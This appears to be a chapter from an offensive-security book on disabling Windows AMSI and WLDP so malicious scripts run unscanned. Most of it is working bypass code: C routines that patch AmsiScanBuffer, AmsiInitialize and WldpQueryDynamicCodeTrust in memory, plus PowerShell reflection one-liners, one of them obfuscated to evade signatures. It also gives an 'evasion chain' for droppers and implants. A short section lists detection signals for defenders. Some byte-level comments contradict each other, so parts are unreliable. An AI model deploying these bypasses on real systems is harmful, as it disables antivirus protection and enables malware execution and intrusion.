Chapter 45

AMSI Bypass

The Antimalware Scan Interface (AMSI) is a Windows API that lets the OS hand script content (PowerShell, VBScript, JScript, .NET) to an installed AV engine before it executes. When you run a PowerShell one-liner, AMSI sends the decoded script buffer to Windows Defender (or whatever AV is installed) before executing a single instruction. This catches nearly all in-memory script attacks — unless you kill AMSI first. This chapter covers the three tiers of AMSI bypass: patching AmsiScanBuffer() to always return clean, forcing AMSI initialization to fail silently, and reflection-based disabling from within PowerShell itself.

How AMSI Works

AMSI scan lifecycle — what happens before your script executes
  PowerShell calls AmsiInitialize() at startup:
  ─────────────────────────────────────────────────────────────────────────
  powershell.exe
    │
    ├─ loads amsi.dll
    │    │
    │    └─ AmsiInitialize("PowerShell", &amsiContext)
    │         └─ allocates AMSI context, links to provider (WDFilter via WdBoot)
    │
    └─ for EACH script block (every Invoke-Expression, every loaded script):
         AmsiOpenSession(amsiContext, &session)
         AmsiScanBuffer(amsiContext, session, buffer, length, "content", &result)
         AmsiCloseSession(amsiContext, session)
         │
         └─ result:
              AMSI_RESULT_CLEAN     (0)  → run the script
              AMSI_RESULT_DETECTED  (32) → block execution, show warning

  Key insight about where the scan happens:
  ─────────────────────────────────────────────────────────────────────────
  AmsiScanBuffer() lives in amsi.dll.
  amsi.dll is loaded INTO your process (powershell.exe, cscript.exe, etc.)
  
  You have the same read/write permissions to amsi.dll's memory as to any
  other DLL in your process. You can patch AmsiScanBuffer's bytes in memory.
  
  The scan data flows:
    Your process memory → amsi.dll (in-process) → WDFilter (kernel driver)
  
  If you patch amsi.dll before scripts run, the scan never reaches WDFilter.
  Windows Defender's kernel component never sees your payload.
  
  Provider chain (amsi.dll → IAmsiStream → AMSI providers):
  ─────────────────────────────────────────────────────────────────────────
  Third-party AV vendors register as AMSI providers via COM.
  The provider chain runs in the calling process.
  Patching amsi.dll bypasses ALL registered providers simultaneously.

Tier 1: Patching AmsiScanBuffer

/* amsi_patch.c — Patch AmsiScanBuffer to always return AMSI_RESULT_CLEAN
   
   AmsiScanBuffer's function signature:
     HRESULT AmsiScanBuffer(
       HAMSICONTEXT amsiContext,
       PVOID        buffer,
       ULONG        length,
       LPCWSTR      contentName,
       HAMSISESSION amsiSession,
       AMSI_RESULT *result
     );
   
   We overwrite the first few bytes with:
     xor eax, eax   (B8 00 00 00 00 actually; we use xor for brevity)
     ret            (C3)
   
   This causes AmsiScanBuffer to immediately return 0 (S_OK) with
   *result left at whatever garbage is in the output pointer —
   but AMSI callers check the HRESULT (return value), not just *result.
   A return of S_OK with *result=0 reads as AMSI_RESULT_CLEAN.
   
   Refined patch: write 3 bytes that force *result = AMSI_RESULT_CLEAN
   and return S_OK. The cleanest 5-byte patch:
     B8 57 00 07 80    mov eax, 0x80070057    (E_INVALIDARG) ← triggers fallthrough to clean
   Alternative used in the wild:
     33 C0 C3          xor eax, eax; ret      (return S_OK immediately, *result untouched)
*/

#include <windows.h>
#include <stdio.h>

BOOL amsi_patch_via_win32(void) {
    HMODULE hAmsi = GetModuleHandleA("amsi.dll");
    if (!hAmsi) {
        /* amsi.dll not yet loaded — load it first */
        hAmsi = LoadLibraryA("amsi.dll");
        if (!hAmsi) { printf("[-] amsi.dll not loadable\n"); return FALSE; }
    }

    PVOID scan_fn = GetProcAddress(hAmsi, "AmsiScanBuffer");
    if (!scan_fn) { printf("[-] AmsiScanBuffer not found\n"); return FALSE; }

    printf("[+] AmsiScanBuffer at %p\n", scan_fn);
    printf("[+] Original bytes: ");
    for (int i = 0; i < 8; i++) printf("%02X ", ((PBYTE)scan_fn)[i]);
    printf("\n");

    /* 5-byte patch: xor eax, eax (2 bytes) + ret (1 byte) + nop nop (2 bytes) */
    BYTE patch[] = { 0x31, 0xC0, 0xC3, 0x90, 0x90 };

    DWORD old_protect;
    if (!VirtualProtect(scan_fn, sizeof(patch), PAGE_EXECUTE_READWRITE, &old_protect)) {
        printf("[-] VirtualProtect failed: %lu\n", GetLastError());
        return FALSE;
    }

    memcpy(scan_fn, patch, sizeof(patch));

    /* Restore page protections — making it look like a normal RX page again */
    VirtualProtect(scan_fn, sizeof(patch), old_protect, &old_protect);

    printf("[+] Patch applied. AMSI disabled for this process.\n");
    printf("[+] Patched bytes: ");
    for (int i = 0; i < 8; i++) printf("%02X ", ((PBYTE)scan_fn)[i]);
    printf("\n");

    return TRUE;
}

/* ── Alternative: patch via NtWriteVirtualMemory (bypass Win32 hooks) ─ */
/*
 * If EDR hooks VirtualProtect, the Win32 patch above may be intercepted.
 * Use NtWriteVirtualMemory directly (or via SysWhispers3) to bypass.
 * Write to read-only section: must still call NtProtectVirtualMemory first.
 * Alternatively, use the handle trick: open a handle to your own process
 * with PROCESS_VM_WRITE and use WriteProcessMemory on yourself.
 * EDRs often don't hook WriteProcessMemory calls where source==target process.
 */
BOOL amsi_patch_via_ntdll(PVOID scan_fn) {
    BYTE patch[] = { 0x31, 0xC0, 0xC3, 0x90, 0x90 };
    SIZE_T written;

    /*
     * WriteProcessMemory on self: requires the target pages to be writable,
     * OR Win32 will call NtProtectVirtualMemory internally first.
     * In practice: WriteProcessMemory on self works without prior VirtualProtect
     * on most Windows versions because the kernel checks for WRITE access
     * differently when the source and destination process are the same.
     */
    if (!WriteProcessMemory(GetCurrentProcess(), scan_fn,
                             patch, sizeof(patch), &written)) {
        printf("[-] WriteProcessMemory on self failed: %lu\n", GetLastError());
        return FALSE;
    }
    return written == sizeof(patch);
}

Tier 2: Forcing AmsiInitialize to Fail

/* ── AmsiInitialize failure approach ────────────────────────────────── */
/*
 * Instead of patching AmsiScanBuffer, corrupt the AMSI context handle.
 * PowerShell calls AmsiInitialize once at startup and stores the resulting
 * HAMSICONTEXT (amsiContext) in its .NET runtime heap.
 *
 * If we patch AmsiInitialize itself to return E_FAIL (0x80004005), 
 * PowerShell's AMSI context will be NULL/invalid.
 * All subsequent AmsiScanBuffer calls check the context handle first —
 * if it's invalid, they return immediately without scanning.
 *
 * Patch: AmsiInitialize → return E_FAIL (0x80004005)
 *   B8 05 00 04 80    mov eax, 0x80004005
 *   C3                ret
 * 
 * This is 6 bytes total.
 *
 * Additional approach: clear the amsiContext after initialization.
 * Some scripting engines cache the context in a managed object.
 * Reflection-based PowerShell approach (below) finds that field directly.
 */

BOOL amsi_patch_init_fail(void) {
    HMODULE hAmsi = LoadLibraryA("amsi.dll");
    PVOID init_fn = GetProcAddress(hAmsi, "AmsiInitialize");
    if (!init_fn) return FALSE;

    /* mov eax, 0x80004005 (E_FAIL); ret */
    BYTE patch[] = { 0xB8, 0x05, 0x00, 0x04, 0x80, 0xC3 };

    DWORD old;
    VirtualProtect(init_fn, sizeof(patch), PAGE_EXECUTE_READWRITE, &old);
    memcpy(init_fn, patch, sizeof(patch));
    VirtualProtect(init_fn, sizeof(patch), old, &old);

    printf("[+] AmsiInitialize will return E_FAIL — context stays null\n");
    return TRUE;
}

Tier 3: PowerShell Reflection-Based Bypass

# ── PowerShell AMSI bypass via reflection ──────────────────────────────
# 
# From within a PowerShell session, you can use .NET reflection to access
# internal .NET runtime fields that reference the AMSI context or the
# AmsiUtils helper class that PowerShell uses to call AMSI.
#
# This approach requires no native code — just PowerShell one-liners.
# Works in PowerShell 5.x and 7.x (different field names in 7.x).
#
# PowerShell 5.1 (classic, System.Management.Automation.dll):
# The AmsiUtils type is internal and has a static field 'amsiInitFailed'.
# Set it to True → AmsiScanBuffer checks this bool first and returns early.

# Method A: Set amsiInitFailed to $true (PowerShell 5.x)
$a = [Ref].Assembly.GetType('System.Management.Automation.AmsiUtils')
$b = $a.GetField('amsiInitFailed', 'NonPublic,Static')
$b.SetValue($null, $true)
Write-Host "[+] AMSI init failed flag set — scanning disabled"

# Method B: Null out the amsiContext handle directly
$type = [Ref].Assembly.GetType('System.Management.Automation.AmsiUtils')
$context = $type.GetField('amsiContext', 'NonPublic,Static')
$context.SetValue($null, [IntPtr]::Zero)
Write-Host "[+] amsiContext cleared — all scans will be skipped"

# Method C: Combination (most reliable in PS 5.1)
# Both amsiInitFailed=true and amsiContext=IntPtr.Zero
# Redundant but covers edge cases where PowerShell checks one before the other.

# ─────────────────────────────────────────────────────────────────────────────
# Obfuscated variant (evades signature on the reflection one-liner):
# The string 'AmsiUtils' itself is a YARA/AMSI signature in some AV products.
# Split and concatenate at runtime to avoid static detection.

$r = 'Amsi' + 'Utils'
$t = [Ref].Assembly.GetType('System.Management.Automation.' + $r)
$f = $t.GetField('amsi' + 'InitFailed', 'NonPublic,Static')
$f.SetValue($null, $true)

# ─────────────────────────────────────────────────────────────────────────────
# PowerShell 7.x (pwsh.exe): different field name and location
# The AmsiUtils class was refactored; use:
$type = [Ref].Assembly.GetType('System.Management.Automation.Security.AmsiUtils')
if ($type) {
    $field = $type.GetField('s_amsiInitFailed', 'NonPublic,Static')
    $field.SetValue($null, $true)
    Write-Host "[+] PS 7.x AMSI bypass applied"
} else {
    Write-Host "[-] PS 7.x field not found, try PS 5.x path"
}

WLDP (Windows Lockdown Policy) Bypass

WLDP context — when AMSI bypass isn't enough
  AMSI only scans script content for AV signatures.
  WLDP is a separate check: "is this script ALLOWED to run at all?"
  
  WLDP is enforced in constrained PowerShell environments (WDAC / Windows S Mode):
    WldpQueryDynamicCodeTrust(handle, content, length)
    → must return S_OK for dynamic content to execute
    → used by PowerShell to enforce Constrained Language Mode
  
  If WLDP blocks execution (returns policy violation):
    PowerShell enters Constrained Language Mode
    Most reflection-based attacks are blocked
    Add-Type and Invoke-Expression are limited
  
  WldpQueryDynamicCodeTrust lives in wldp.dll (loaded in-process).
  Patch to return S_OK: same technique as AmsiScanBuffer patch.
  
  Combined bypass (both AMSI and WLDP):
    patch AmsiScanBuffer  → AV can't scan your content
    patch WldpQueryDynamicCodeTrust → policy allows execution
    = full unrestricted PowerShell on WDAC-enforced systems
/* WLDP patch — WldpQueryDynamicCodeTrust → always return S_OK */
BOOL wldp_patch(void) {
    HMODULE hWldp = LoadLibraryA("wldp.dll");
    if (!hWldp) { printf("[-] wldp.dll not loaded\n"); return FALSE; }

    PVOID fn = GetProcAddress(hWldp, "WldpQueryDynamicCodeTrust");
    if (!fn) return FALSE;

    /* Return S_OK (0x00000000) immediately */
    BYTE patch[] = { 0x33, 0xC0, 0xC3 };  /* xor eax,eax; ret */
    DWORD old;
    VirtualProtect(fn, sizeof(patch), PAGE_EXECUTE_READWRITE, &old);
    memcpy(fn, patch, sizeof(patch));
    VirtualProtect(fn, sizeof(patch), old, &old);
    printf("[+] WldpQueryDynamicCodeTrust patched\n");
    return TRUE;
}

How Defenders Detect AMSI Bypasses

AMSI bypass detection signals (high to low confidence)
  Detection signal                           Confidence    Notes
  ─────────────────────────────────────────────────────────────────────────
  VirtualProtect on amsi.dll .text section   Very high     amsi.dll code is read-only
                                                           by default; RWX = anomaly
  
  WriteProcessMemory targeting amsi.dll      Very high     self-write to code section
  
  Image modification alert (kernel callback) High          PG_MitMem in Win11 22H2+
                                                           detects text section changes
  
  AMSI scan result always returns 0/S_OK     High          statistical: same process
                                                           never gets detected?
  
  Reflection access to AmsiUtils fields      Medium        EDR hooks
                                                           [Ref].Assembly.GetType()
                                                           and monitors for
                                                           NonPublic field access on
                                                           internal AMSI types
  
  String 'AmsiInitFailed' in script          Medium        static YARA in PS 7.2+ has
                                                           built-in AMSI awareness
  
  amsiContext set to 0 (IntPtr.Zero)         Medium        context being zero while
                                                           script execution continues
  
  Script execution after AMSI failure log    Low-Med       ETW event log (Microsoft-
                                                           Windows-AMSI/Operational)
                                                           shows AMSI error codes
  
  Evasion chain (best practice):
  ─────────────────────────────────────────────────────────────────────────
  1. Deliver your initial dropper obfuscated (not detected by AMSI)
  2. Dropper patches AMSI from native C (no script = no AMSI scan of the dropper)
  3. Use syscalls for VirtualProtect/WriteProcessMemory (bypass hooking on those APIs)
  4. Only THEN launch PowerShell or .NET stages (now scanning is disabled)

Questions & Answers

Why does patching AmsiScanBuffer in one process not affect other processes?

Each Windows process has its own virtual memory address space. When you patch amsi.dll's bytes in your process, you're modifying the in-memory copy of that DLL in your process's address space only. The physical pages backing amsi.dll's code section use a Copy-on-Write (COW) mechanism: initially, all processes share the same read-only physical page. The moment you write to it (after making it PAGE_EXECUTE_READWRITE), Windows creates a private physical copy for your process and applies your writes to that private copy. All other processes still see the original clean amsi.dll bytes. This is why per-process patching is both sufficient (you only need AMSI disabled for your implant's process or any process you inject into) and limited (you must patch each process individually).

What exactly does "xor eax, eax; ret" (31 C0 C3) return to the caller?

It returns zero in the eax register, which on 64-bit Windows x64 is the HRESULT return value. Zero is S_OK — the success code. The caller (PowerShell's AmsiUtils wrapper) checks the HRESULT: if it's not a success code, it treats the scan as failed/skipped. With eax=0 (S_OK), the caller proceeds with *result (the AMSI_RESULT output parameter). Since *result was never written by our patched function, it retains whatever value the caller initialized it to — which is typically 0 (AMSI_RESULT_CLEAN). The caller then sees: HRESULT=S_OK, result=0 (clean), and proceeds to execute the script. The key is that S_OK AND result=clean (0) must both be true; the patch achieves both because callers zero-initialize result before passing its pointer.

Can AMSI bypass work if Windows Defender is disabled entirely?

If Windows Defender is disabled, AMSI still loads (amsi.dll is always present), but the scan request goes to whatever AMSI provider is registered. If no provider is registered (Defender is the default provider and it's disabled), AmsiScanBuffer returns AMSI_RESULT_CLEAN automatically — there's nothing to scan with. In this case, you don't need to bypass AMSI at all. However, enterprise environments typically have third-party AV products that register as AMSI providers (CrowdStrike Falcon, Sentinel One, etc.), and they're almost never "disabled" — they're just not Windows Defender. The bypass techniques work against any AMSI provider because they operate at the amsi.dll layer, before the call reaches any specific provider.

What's the difference between AMSI and Windows Defender's real-time scanning?

They're distinct subsystems that catch different things. AMSI scans in-memory script content (the decoded PowerShell, the evaluated JScript) at the language runtime level — it sees content after deobfuscation. Windows Defender's real-time scanning (MpEngine.dll + WdFilter.sys) scans files on disk and file I/O operations — it sees content before execution, based on file system events. An attacker running a fileless attack (script entirely in memory, no file on disk) evades real-time scanning but still hits AMSI. Conversely, patching AMSI only disables the runtime scan; any file you write to disk is still scanned by WdFilter. A complete evasion combines both: obfuscated payload on disk (evades static/real-time) plus AMSI patch (evades runtime script scanning).

Does the WLDP bypass work on systems with Windows Defender Application Control (WDAC)?

It depends on whether WDAC is enforced in audit or enforce mode and whether its policy covers PowerShell. Patching WldpQueryDynamicCodeTrust works when the function is in user-mode memory (wldp.dll, which it is). However, WDAC's core enforcement for software allow-listing happens in the kernel (CI.dll + WHQL validation), which you can't patch from userland. What WldpQueryDynamicCodeTrust controls is whether PowerShell enters Constrained Language Mode for dynamic code — patching it lets PowerShell run in full language mode even when policy says Constrained. This is a meaningful bypass for PS-based attacks on WDAC systems. The kernel-level WDAC enforcement (which DLLs and executables can load) is a separate, harder problem that requires a kernel exploit or signed binary abuse.